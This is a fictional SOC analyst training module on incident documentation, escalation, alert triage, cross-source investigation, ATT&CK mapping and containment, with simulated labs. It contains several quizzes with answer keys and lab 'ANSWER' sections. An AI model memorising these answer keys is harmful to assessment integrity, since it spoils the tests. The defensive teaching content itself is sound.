Good documentation is concise, factual and written as you go, not reconstructed at the end of the shift. Use the ticket's templates and fields instead of free text where possible, because structured fields can be searched and counted. Keep opinions labeled and avoid emotional language. Never paste secrets such as passwords or full personal data into tickets; reference the evidence location and respect access controls and classification. Link related tickets and the playbook followed. Use consistent tags such as the MITRE ATT&CK technique ID, for example T1566.001 for spearphishing attachment. Review your own ticket before closing: could a stranger understand it?

TICKET NOTE TEMPLATE (FICTIONAL)

```
ID: INC-2041 Status: Escalated Severity: High
Summary: Malicious attachment executed on WS-114 (user alice)
Observables: sha256 9f2c...e1 | hxxps://files[.]example[.]com/a.zip | 203[.]0[.]113[.]50
Actions: 10:31Z isolated host (EDR); 10:40Z reset password; mail purge ran
Verdict: True positive - T1566.001
Handoff: Awaiting disk image from IT (owner: bob, due 14:00Z)
```

WORKED EXAMPLE

At 06:00 UTC, analyst Dana's shift ends while a phishing case is open. Her ticket lists the sender, message ID, URL (defanged), the hash of the attachment, the hosts that opened it, the containment already taken and the pending mail purge. The verdict is true positive with a technique tag. The handoff block names one remaining task. Analyst Raj starts at 06:05, reads for two minutes and continues the purge with no call to Dana. The case closes two hours later with a clean audit trail.

KEY TERMS

Observable: A concrete data point in an investigation, such as an IP, hash, domain or username.

Defanging: Modifying indicators, such as `hxxp` and `[.]`, so they cannot be accidentally opened.

Verdict: The analyst's conclusion, such as true positive, false positive or undetermined.

Handoff: Transfer of a case to another analyst with enough detail to continue.

Disposition: The final state of a ticket, such as closed, escalated or monitoring.

Case management: System that tracks alerts, evidence, actions and status through an investigation.

REMEMBER

- Write notes as you work so any analyst can continue the case.
- Record observables defanged, with source and UTC time, plus actions and a verdict.
- End with a handoff block: state, remaining work, owner, due time.

QUICK CHECK

1. How should a malicious URL be written in free-text ticket notes?
 - A) Clickable link
 - B) Defanged, such as `hxxps://files[.]example[.]com`
 - C) Hidden in a screenshot
 - D) Left out
2. What makes a handoff good?
 - A) A verbal chat only
 - B) The next analyst can continue without asking questions
 - C) A copy of all raw logs
 - D) A long narrative
3. Which item should NOT be pasted into a ticket?
 - A) A SHA-256 hash
 - B) A plaintext password found in a log
 - C) A hostname
 - D) A ticket link
4. Why use structured fields and tags like T1566.001?
 - A) They look professional
 - B) They make tickets searchable and measurable across cases
 - C) They replace evidence
 - D) They are required by UTC

Answers: 1-B 2-B 3-B 4-B

1. Defanging prevents accidental clicks and tool auto-linking.
2. The ticket must carry state, remaining tasks and owner.
3. Secrets belong in controlled storage; reference the location instead.
4. Structured data allows searching, reporting and trend analysis.

Write the incident report

SCENARIO

You are an analyst at the fictional Example Corp. Raw notes for case INC-3007 are pasted into a chat: times in mixed local zones, a mail gateway delivery, a user opening a spreadsheet, EDR showing a PowerShell child process, proxy logs to 203.0.113.50 and a password reset. A supervisor asks for a structured report before the shift ends. The simulator checks each section you submit.

OBJECTIVE

Convert messy notes into a structured report with a UTC timeline and a plain-language summary.

STEPS IN THE SIMULATOR

- 1 Do:** Read the raw notes and list the timestamps with their time zones.

Simulator shows:

Notes show gateway in UTC, proxy in UTC-5, EDR in UTC.

- 2 Do:** Convert each timestamp to UTC ISO 8601.

Simulator shows:

The simulator accepts rows sorted in the correct order.

- 3 Do:** Write a two-sentence summary stating what, when, severity and current status.

Simulator shows:

Feedback confirms a stand-alone summary with no jargon.

- 4 Do:** Write the scope: affected host WS-114, account alice, checked and clean items.

Simulator shows:

Scope accepted if clean systems are listed.

- 5 Do:** Build the timeline with a source for every row and mark inferences.

Simulator shows:

Rows with sources are green; unsourced rows are flagged.

- 6 Do:** State the root cause separately from the trigger.

Simulator shows:

Macro policy and missing MFA accepted as root cause.

- 7 Do:** Add three owned, time-bound recommendations.

Simulator shows:

Specific recommendations accepted; vague ones are flagged.

- 8 Do:** Submit the report.

Simulator shows:

Score displayed with remarks on any missing section.

ANSWER

A complete report has a summary, scope, UTC timeline with sources (gateway 09:42Z, EDR 09:47Z, proxy 04:48 local at UTC-5 converted to 09:48Z, reset 10:40Z), evidence, root cause distinct from trigger, impact and three owned recommendations.

Hint shown in the app: Convert the proxy time first: UTC-5 means add five hours to reach UTC.

Draft the escalation

SCENARIO

At 02:10 UTC the on-call incident manager at Example Corp must decide whether to isolate a file server. You hold a set of fact cards: EDR alerts on mass file renames, a service account used from 198.51.100.7, no evidence yet of outbound data transfer, and a list of five business services. The simulator asks you to select which facts, impact statements and ask belong in the escalation.

OBJECTIVE

Choose the facts, impact and ask that belong in an escalation to the incident manager.

STEPS IN THE SIMULATOR

- 1 **Do:** Review the twelve cards and mark each as fact, assumption or unknown.

Simulator shows:

The simulator highlights mislabeled cards.

- 2 **Do:** Select the confirmed facts that support the decision.

Simulator shows:

Rename activity and account misuse are accepted.

- 3 **Do:** Exclude speculation about attacker identity.

Simulator shows:

Card removed; message gets shorter.

- 4 **Do:** Add the business impact in plain terms.

Simulator shows:

Finance shares unavailable is accepted over technical detail.

- 5 **Do:** Choose the ask: approve isolation within 30 minutes.

Simulator shows:

Ask placed at the top of the message.

- 6 **Do:** Add the next update time and ticket link.

Simulator shows:

Completeness bar reaches 100 percent.

- 7 **Do:** Send the escalation.

Simulator shows:

Manager replies approving isolation and shows the score.

ANSWER

Include confirmed facts (mass renames, service account use from 198.51.100.7), labeled suspicion of credential theft, unknown data exfiltration, business impact on finance shares, a clear ask to isolate the host, a next update time and the ticket link. Exclude attacker attribution guesses and raw logs.

Hint shown in the app: Lead with the ask, then facts, then what is unknown.

SOC Reporting and Communication: 10 questions, 80% to pass

1. An incident report is first and foremost written for whom?
 - A) The analyst who wrote it
 - B) A careful reader who was not present
 - C) Only the attacker
 - D) Only auditors
2. A firewall logs in UTC-8 and shows an event at 01:30 on March 14. What is the UTC time?
 - A) 2026-03-14T01:30Z
 - B) 2026-03-14T09:30Z
 - C) 2026-03-13T17:30Z
 - D) 2026-03-14T07:30Z
3. Which is best classified as root cause?
 - A) User clicked a link
 - B) Internet-sourced macros allowed and no MFA on mail
 - C) Alert fired at 10:15Z
 - D) Host was isolated
4. Which recommendation is well written?
 - A) Fix security
 - B) Enable MFA for all mailboxes by 30 April, owner IT
 - C) Be aware
 - D) Consider improvements
5. Which phrase best separates fact from assumption?
 - A) Probably bad
 - B) Confirmed in EDR; suspected credential theft; unknown exfiltration
 - C) It is clearly a nation state
 - D) Everything is fine
6. What should lead an escalation to an incident manager?
 - A) The ask and deadline
 - B) The history of the tool vendor
 - C) Complete packet captures
 - D) A joke
7. An executive summary should mostly contain:
 - A) Hex dumps
 - B) Business impact, status, actions and decisions needed
 - C) Registry keys
 - D) Rule names
8. GDPR requires notifying the supervisory authority of a personal data breach within:
 - A) 24 hours
 - B) 72 hours of becoming aware
 - C) 30 days
 - D) 7 days
9. How should an indicator URL appear in notes?
 - A) `https://example.com/a`
 - B) `hxxps://example[.]com/a`
 - C) As a QR code
 - D) In bold
10. What is the best test of a handoff note?
 - A) Length
 - B) The next analyst can continue without questions
 - C) It includes screenshots only
 - D) It uses tags

Answers: 1-B 2-B 3-B 4-B 5-B 6-A 7-B 8-B 9-B 10-B

1. It must stand alone for later readers.
2. UTC-8 means add eight hours to get UTC.
3. It is a control gap, not the immediate action.
4. Specific, owned and time-bound.
5. Explicit confidence labels prevent wrong decisions.
6. The ask lets the recipient act quickly.
7. Executives decide on impact and actions.
8. Article 33 sets 72 hours, where feasible.
9. Defanged format avoids accidental clicks.
10. Handoff quality is measured by continuity.

Capstone: Investigate an Incident

Advanced | 3 lessons | 2 simulated labs | checkpoint | about 2h 55m

This capstone brings the whole SOC path together. You will work a simulated alert queue the way a real analyst does: prioritize by risk, group related alerts, open a case with hypotheses, then pivot across SIEM logs, a packet capture and a phishing email to build an ATT&CK-mapped timeline. You finish by choosing containment, writing the incident report and manager summary, and identifying the detection gaps that the incident exposed.

BY THE END YOU CAN

- + Triage a mixed alert queue and prioritize by risk
- + Pivot across logs, a PCAP and an email to scope an incident
- + Deliver a verdict, response actions and a written report

IN THIS MODULE

Lesson 1 Alert queue triage and initial scoping

Lesson 2 Cross-source investigation

Lesson 3 Response, report and review

Lab 1 Capstone investigation (Scenario)

Lab 2 Capstone report and response (Chat sim)

Checkpoint 10 questions, 80% to pass

Alert queue triage and initial scoping

A real shift starts with many alerts and little time; deciding what to look at first and what belongs together is what separates signal from noise.

Prioritizing by risk

A queue rarely arrives in a helpful order. Prioritize by combining severity, asset value, confidence and exposure. An alert on a domain controller or a finance server outranks the same alert on a lab laptop. A high-confidence detection of credential dumping outranks a noisy low-confidence port scan. Consider whether the activity is ongoing, whether the account is privileged and whether the host faces the internet. Many teams score alerts with a simple matrix of impact times likelihood. Also weigh time sensitivity: ransomware precursors and active data transfer cannot wait, while a policy violation can. Prioritization is a judgment you must be able to explain in one sentence.

Deciding what is related

Look for shared entities across alerts: the same user, host, IP address, file hash, domain or time window. Three apparently unrelated alerts, such as a suspicious email, a PowerShell warning on one workstation and an outbound connection to 203.0.113.50, may be one intrusion seen through three tools. Group them into one case to avoid triple work and to see the whole story. Be careful about false grouping: a shared IP behind NAT or a common CDN domain proves little. Test links with a pivot: does the same process, account or timestamp appear in both? Keep unrelated alerts separate, but note why you separated them.

Opening a case and initial scoping

Once you choose a lead alert, open a case with a clear title, severity, assigned owner and the alert links. Scoping asks: which hosts, accounts and data might be involved, and over what period? Start with the known entities and search outward in the SIEM, for example all events for the user over the previous 24 hours. Record what you checked and the results, including negative ones, since 'no other hosts contacted this IP' is valuable. Decide whether immediate containment is justified before the picture is complete, balancing business disruption against the risk of spread, and follow the playbook for your alert type.

Initial hypotheses

A hypothesis is a testable explanation: 'Phishing delivered a malicious attachment that gave the attacker a foothold on WS-114.' State two or three competing hypotheses, including a benign one such as a legitimate admin script, and list the evidence that would confirm or refute each. This guards against confirmation bias, where analysts see only evidence supporting their first idea. Map hypotheses to MITRE ATT&CK tactics to predict next steps: after initial access (TA0001) and execution (TA0002), look for persistence, credential access and lateral movement. Revise as evidence arrives and document why a hypothesis was dropped.

QUEUE TRIAGE (FICTIONAL)

```
#1 High DC01 Credential dumping tool conf: high -> investigate now
#2 Med WS-114 PowerShell from Word conf: med -> link to #4
#3 Low WS-020 Port scan from LAN conf: low -> defer
#4 Med Mail Attachment, user alice conf: med -> link to #2
#5 Med FW Outbound to 203.0.113.50 conf: med -> link to #2
Case INC-4100 = #2 + #4 + #5 (shared host WS-114, user alice)
```

WORKED EXAMPLE

At the start of a shift an analyst sees five alerts. The credential dumping alert on a domain controller goes first because of asset value and confidence. Three others share the user alice, the host WS-114 and a 40-minute window, so she groups them into one case with the hypothesis that phishing led to execution and command and control. A competing benign hypothesis, a software update script, is noted and tested by checking the file's signature. The low-confidence port scan is deferred with a note explaining why.

KEY TERMS

Triage: Sorting and prioritizing alerts by risk and urgency.

Pivot: Moving from one data point to related data in another source.

Scoping: Determining which systems, accounts, data and time range an incident touches.

Hypothesis: A testable explanation of what happened, used to guide investigation.

Confirmation bias: Tendency to favor evidence that supports an existing belief.

Entity: A user, host, IP, domain or file that links events together.

REMEMBER

- Prioritize by asset value, confidence, exposure and urgency.
- Group alerts by shared entities and time, but test links before trusting them.
- State competing hypotheses and the evidence that confirms or refutes each.

QUICK CHECK

1. Which alert should usually be investigated first?
 - A) Low-confidence scan on a lab laptop
 - B) High-confidence credential dumping on a domain controller
 - C) Policy warning on a guest device
 - D) Duplicate alert already closed
2. What is the best evidence that two alerts are related?
 - A) They fired on the same day
 - B) They share a user, host and short time window
 - C) Both are medium severity
 - D) Both came from the SIEM
3. Why include a benign hypothesis?
 - A) To close alerts faster
 - B) To reduce confirmation bias by testing alternatives
 - C) Because policy requires it
 - D) To avoid a ticket
4. What belongs in initial scoping notes?
 - A) Only positive findings
 - B) Checks performed, including negative results
 - C) Only the alert title
 - D) Personal opinions

Answers: 1-B 2-B 3-B 4-B

1. High asset value and confidence mean greater risk and urgency.
2. Shared entities and timing give a defensible link.
3. Competing explanations keep the analysis honest.
4. Negative results narrow scope and prevent repeated work.

Cross-source investigation

Real attacks leave traces in many places; no single log tells the whole story, so you must pivot between sources and tie each finding to ATT&CK.

Why multiple sources

Each source has a blind spot. Email gateway logs show delivery but not execution. Endpoint telemetry shows process trees but not what crossed the network. Proxy and DNS logs show destinations but not which process asked. A PCAP shows the actual bytes but is large and often unavailable for the whole period. Combining them creates a chain of evidence. The investigator's loop is: take an indicator, search for it elsewhere, add new indicators, repeat. Normalized fields such as `src_ip`, `user`, `host` and `file_hash` in the SIEM make pivoting practical, and time synchronization (NTP) is what keeps the events in the right order.

Pivoting from the phishing email

Start from the message: sender, Return-Path, Received headers, Message-ID, subject, attachment name and SHA-256 hash, and any URLs. Check SPF, DKIM and DMARC results in the Authentication-Results header. Search the mail gateway for other recipients of the same sender, subject or hash, since one phish is usually a campaign. Then pivot to the endpoint: did a recipient open the file? EDR may show `winword.exe` launching `powershell.exe`, mapped to execution via a user-opened file (T1204.002) and PowerShell (T1059.001). Pivot to the proxy for the URL or domain and to the SIEM for the user's logons around that time.

Reading the PCAP and logs

In a packet capture, filter by the suspect host and the external address, for example `ip.addr == 203.0.113.50` in Wireshark. Look for DNS queries for the domain, the TLS handshake and its SNI, the HTTP request and User-Agent, and periodic connections at fixed intervals, which suggest beaconing (T1071.001 for web protocols). Check the volume sent out compared with received, which may indicate exfiltration (T1041). In authentication logs, Windows event 4624 type 3 or 10 from the workstation to other hosts suggests lateral movement, and 4625 bursts suggest guessing. Record each observable and where it came from.

Mapping to ATT&CK and building the story

ATT&CK is a knowledge base of adversary tactics and techniques. Mapping each finding gives a shared language and exposes gaps: Initial Access T1566.001 (spearphishing attachment), Execution T1204.002 and T1059.001, Command and Control T1071.001, Credential Access T1003, Lateral Movement T1021. Place each finding on the UTC timeline with its source and a fact or inference label. Gaps in the timeline become new questions: how did the attacker get from the workstation to the server? Stop pivoting when scope is stable and each phase has support. Unsupported links stay hypotheses in the report.

PIVOT TRAIL (FICTIONAL)

```
Email: from billing@example.net, SHA-256 9f2c...e1, SPF=fail
SIEM : same hash delivered to 4 users, opened by alice only
EDR : WS-114 winword.exe -> powershell.exe (T1204.002, T1059.001)
Proxy: WS-114 -> 203.0.113.50:443 every 60 s (T1071.001)
PCAP : TLS SNI cdn.example.com, 1.2 MB out vs 40 KB in
Auth : 4624 type 3 alice -> FILESRV-02 at 10:20Z (T1021)
```

WORKED EXAMPLE

The analyst opens the phishing email and sees SPF failed and an attachment hash. A SIEM search shows four recipients, but only alice's host ran the file. EDR gives the process tree. The proxy shows connections to 203.0.113.50 every 60 seconds, and the PCAP confirms regular small TLS sessions followed by a larger upload. Authentication logs then show alice's account reaching FILESRV-02 twenty minutes later. Each finding is tagged with an ATT&CK technique and placed on a UTC timeline, producing a coherent five-stage story with two items still marked as inference.

KEY TERMS

Beaconing: Regular, periodic callbacks from a compromised host to a control server.

SNI: Server Name Indication, the hostname sent in a TLS handshake.

ATT&CK: MITRE knowledge base of adversary tactics, techniques and procedures.

Message-ID: Unique identifier of an email, useful for finding copies and related mail.

Lateral movement: Using access on one system to reach others in the network.

Chain of evidence: Linked sources that together support a conclusion.

REMEMBER

- Pivot from indicator to indicator across email, endpoint, network and authentication data.
- In a PCAP look for DNS, SNI, beaconing intervals and outbound volume.
- Map every finding to ATT&CK and place it on a UTC timeline with a fact or inference label.

QUICK CHECK

1. Why combine email, endpoint, proxy and PCAP data?
 - A) Each has blind spots; together they show the full chain
 - B) To create more alerts
 - C) Because logs are identical
 - D) To avoid timelines
2. A host connects to the same IP every 60 seconds. This suggests:
 - A) Normal DNS
 - B) Beaconing to command and control
 - C) Printer discovery
 - D) Time synchronization
3. winword.exe launching powershell.exe most closely maps to:
 - A) T1204.002 and T1059.001
 - B) T1566.002 only
 - C) T1003
 - D) T1486
4. When should you stop pivoting?
 - A) After the first indicator
 - B) When scope is stable and each phase has supporting evidence
 - C) After one hour no matter what
 - D) When the alert closes automatically

Answers: 1-A 2-B 3-A 4-B

1. Different sources cover different parts of the attack.
2. Fixed-interval callbacks are a classic beaconing pattern.
3. User execution of a file and PowerShell command interpreter use.
4. You stop when additional pivots add no new scope and the story is supported.

Response, report and review

The investigation ends only when the threat is contained, the story is written down and the lessons improve detection.

Choosing containment

Containment limits damage while preserving evidence. Match actions to findings: isolate the infected host with EDR network containment, disable or reset the compromised account and revoke its sessions and tokens, block the malicious IP and domain at the firewall, proxy or DNS, and purge the phishing email from all mailboxes. Prefer reversible, targeted actions over broad ones, and weigh business impact, such as a server needed for payroll. Get approval where the playbook requires it. Do not power off a machine casually, since volatile memory holds evidence. Record each action with a UTC time and who performed it.

Eradication and recovery

After containment comes eradication: remove persistence such as scheduled tasks, services, run keys and new accounts, delete malicious files, and patch or reconfigure the weakness. Rebuild from a known good image when you cannot prove a system is clean. Recovery returns systems to service with enhanced monitoring, and passwords for all possibly exposed accounts are rotated. Validate with searches for the indicators across the estate to confirm no other hosts are affected. NIST SP 800-61 treats containment, eradication and recovery as one phase, but the work is sequential: stop the spread first, then clean, then restore.

Writing the final report

Use the structure from the reporting module: summary, scope, UTC timeline, evidence, ATT&CK mapping, root cause, impact, actions taken and recommendations. For the capstone, write a short manager summary in plain language: what happened, which user and systems were affected, whether data left the network, what was done and what is needed next. Be honest about unknowns and confidence. Keep facts and inferences separate. Include indicators of compromise in defanged form so other teams can block them, and link the ticket and evidence.

Review and detection gaps

A post-incident review asks what worked, what failed and what to change. Compute time to detect and time to contain from the timeline. Identify gaps: was the phishing mail not blocked, did EDR only alert after execution, was outbound beaconing unmonitored, were there no alerts on new service logons? Turn each gap into an action: a new detection rule, a tuned threshold, an email filter change, mandatory MFA, or user awareness training. Test new detections against the captured data. Assign owners and dates, and track completion. This closes the loop between response and prevention.

RESPONSE LOG (FICTIONAL)

```
10:31Z Isolate WS-114 (EDR network containment) analyst
10:40Z Disable alice, revoke sessions, reset password IAM
10:52Z Block 203.0.113.50 and cdn.example.com NetSec
11:05Z Purge hash 9f2c...e1 from 4 mailboxes Mail admin
13:30Z IOC sweep: no other hosts. Rebuild WS-114 IT
GAPS: no alert on beaconing; macro policy; no MFA on mail
```

WORKED EXAMPLE

Finishing the capstone, the analyst isolates WS-114, disables alice's account and blocks the C2 address and domain. The malicious email is purged from four mailboxes and an indicator sweep finds no other infected hosts. The report shows detection 28 minutes after first execution and containment at 44 minutes. Gaps are listed: no beaconing detection, macros allowed, no MFA. Her manager summary reads: one workstation was compromised through a phishing attachment, no evidence that data left, the system has been rebuilt, three improvements are being tracked.

KEY TERMS

Containment: Actions that stop an incident from spreading while preserving evidence.

Eradication: Removing the attacker's access, persistence and malicious files.

IOC: Indicator of compromise, such as a hash, IP or domain linked to malicious activity.

Time to contain: Elapsed time from detection or first activity to containment.

Detection gap: A stage of the attack that existing controls failed to notice or prevent.

Post-incident review: Structured discussion of what happened and what should change.

REMEMBER

- Contain with targeted, reversible actions and record each one in UTC.
- Eradicate persistence, recover from a known good state and sweep for IOCs.
- Report, measure detection and containment times, and convert gaps into owned improvements.

QUICK CHECK

1. Which containment action fits a workstation running a beacon?

- A) Delete all logs
- B) EDR network isolation
- C) Format the SIEM
- D) Ignore until Monday

2. Why avoid powering off an infected machine immediately?

- A) It is illegal
- B) Volatile memory evidence would be lost
- C) It speeds up malware
- D) The SIEM stops

3. Which is a detection gap?

- A) The ticket had an owner
- B) Outbound beaconing generated no alert
- C) The report had a summary
- D) The host was isolated

4. What should the manager summary avoid?

- A) Plain language
- B) Unlabeled assumptions presented as fact
- C) Impact and status
- D) Next steps

Answers: 1-B 2-B 3-B 4-B

1. Isolation stops C2 and spread while keeping evidence.
2. RAM contains processes, connections and keys useful for analysis.
3. A missing alert on an attack stage is a gap to fix.
4. Managers act on what you say, so uncertainty must be labeled.

Capstone investigation

SCENARIO

You are on shift at the fictional Example Corp SOC. The simulator provides an alert queue of six items, SIEM logs, a short PCAP of host WS-114 and a phishing email with an attachment hash. Your task is to decide priority, link related items, pivot across all three sources and assemble a UTC attack timeline mapped to ATT&CK, using only the provided evidence.

OBJECTIVE

Triage the queue, pivot across logs, PCAP and email, and build the full attack timeline.

STEPS IN THE SIMULATOR

- 1 **Do:** Rank the six alerts by asset value, confidence and urgency.

Simulator shows:

The simulator accepts a ranking with the domain controller alert and the WS-114 cluster first.

- 2 **Do:** Group alerts that share user alice or host WS-114.

Simulator shows:

Three alerts merge into case INC-4100; two are deferred.

- 3 **Do:** Open the phishing email and record sender, Message-ID, SPF result and SHA-256.

Simulator shows:

SPF fail and the hash are added to observables.

- 4 **Do:** Search the SIEM for the hash and the recipients.

Simulator shows:

Four recipients; only alice executed the file.

- 5 **Do:** Open the PCAP and filter on 203.0.113.50.

Simulator shows:

Regular 60-second TLS sessions with SNI cdn.example.com and a larger upload.

- 6 **Do:** Check authentication logs for alice after execution.

Simulator shows:

A type 3 logon to FILESRV-02 appears at 10:20Z.

- 7 **Do:** Place each finding on the UTC timeline and tag it with ATT&CK.

Simulator shows:

T1566.001, T1204.002, T1059.001, T1071.001, T1021 accepted.

- 8 **Do:** Mark any unsupported link as an inference.

Simulator shows:

Exfiltration is flagged as suspected, not confirmed.

ANSWER

Timeline: phishing delivery (T1566.001), attachment opened and PowerShell run (T1204.002, T1059.001), beaconing every 60 seconds to 203.0.113.50 (T1071.001), larger outbound upload suspected, lateral logon to FILESRV-02 (T1021). Five stages, each sourced to email, EDR, proxy, PCAP or authentication logs.

Hint shown in the app: Start from the email hash, then follow the host and account through each source.

Capstone report and response

SCENARIO

The investigation is complete. A chat-based reviewer, acting as the incident manager at Example Corp, asks you to submit your containment actions, ATT&CK mapping and a short summary for a non-technical manager, then asks follow-up review questions about scope, confidence and detection gaps. You must keep facts separate from assumptions, justify each action in plain language, and avoid unnecessary jargon throughout.

OBJECTIVE

Submit containment, an ATT&CK mapping and a manager summary, then answer review questions.

STEPS IN THE SIMULATOR

- 1 Do:** Select containment: isolate WS-114, disable alice, block the IP and domain, purge the email.

Simulator shows:

Each action is accepted with its UTC time field.

- 2 Do:** Reject powering off the host and deleting logs.

Simulator shows:

The reviewer notes that evidence must be preserved.

- 3 Do:** Enter the ATT&CK mapping for each phase.

Simulator shows:

Mappings are checked against the evidence.

- 4 Do:** Write a five-sentence manager summary with impact and status.

Simulator shows:

Reviewer flags any jargon and asks for revision.

- 5 Do:** Answer the review question on data loss: state confirmed, suspected and unknown.

Simulator shows:

Exfiltration is accepted as suspected, volume unknown.

- 6 Do:** List detection gaps and owners.

Simulator shows:

Beaconing detection, macro policy and MFA are recorded.

- 7 Do:** Submit the final report.

Simulator shows:

Score and written feedback are displayed.

ANSWER

Containment: isolate WS-114, disable and reset alice, block 203.0.113.50 and cdn.example.com, purge the email, sweep for IOCs. Summary: one workstation compromised via phishing, possible data upload unconfirmed, system rebuilt, three improvements tracked. Gaps: beaconing alert, macro policy, MFA.

Hint shown in the app: Keep the summary in plain language and label what you did not confirm.

Capstone: Investigate an Incident: 10 questions, 80% to pass

1. Two alerts share user alice, host WS-114 and a 40-minute window. What is the best action?

- A) Close both
- B) Group them into one case and test the link
- C) Ignore the second
- D) Assign to different teams

2. Which alert is normally highest priority?

- A) Low-confidence scan on a lab laptop
- B) Credential dumping on a domain controller
- C) Duplicate alert
- D) Informational login

3. A competing benign hypothesis is useful because it:

- A) Delays the case
- B) Reduces confirmation bias
- C) Replaces evidence
- D) Is required by ATT&CK

4. Which header results help judge email authenticity?

- A) TTL and MTU
- B) SPF, DKIM and DMARC
- C) HTTP status
- D) DNS TTL

5. Fixed 60-second connections to one external IP indicate:

- A) Beaconsing
- B) Time sync
- C) Software licensing
- D) Backups only

6. Spearphishing attachment maps to which ATT&CK ID?

- A) T1566.001
- B) T1003
- C) T1021
- D) T1486

7. Which is the best first containment action for a beaconsing workstation?

- A) Power it off and discard
- B) Isolate it with EDR network containment
- C) Wait for backups
- D) Rename the host

8. Why sweep for IOCs after cleanup?

- A) To confirm no other hosts are affected
- B) To lengthen the report
- C) To delete the ticket
- D) To disable the SIEM

9. Which belongs in a manager summary?

- A) Registry paths
- B) Business impact, status, unknowns and next steps
- C) Raw packets
- D) Rule syntax

10. What should you do with a detection gap found in review?

- A) Ignore it
- B) Create an owned, dated action such as a new rule or control
- C) Delete the logs
- D) Blame the user

Answers: 1-B 2-B 3-B 4-B 5-A 6-A 7-B 8-A 9-B 10-B

1. Shared entities and timing justify grouping, with verification.
2. High-value asset with high-confidence malicious behavior.
3. It forces testing of alternative explanations.
4. Authentication-Results reports SPF, DKIM and DMARC outcomes.
5. Periodic callbacks are typical of C2 beacons.
6. T1566.001 is Phishing: Spearphishing Attachment.
7. Isolation stops C2 and spread, and preserves evidence.
8. A sweep tests whether the incident is wider than known.
9. Managers need impact and decisions in plain language.
10. Gaps become tracked improvements.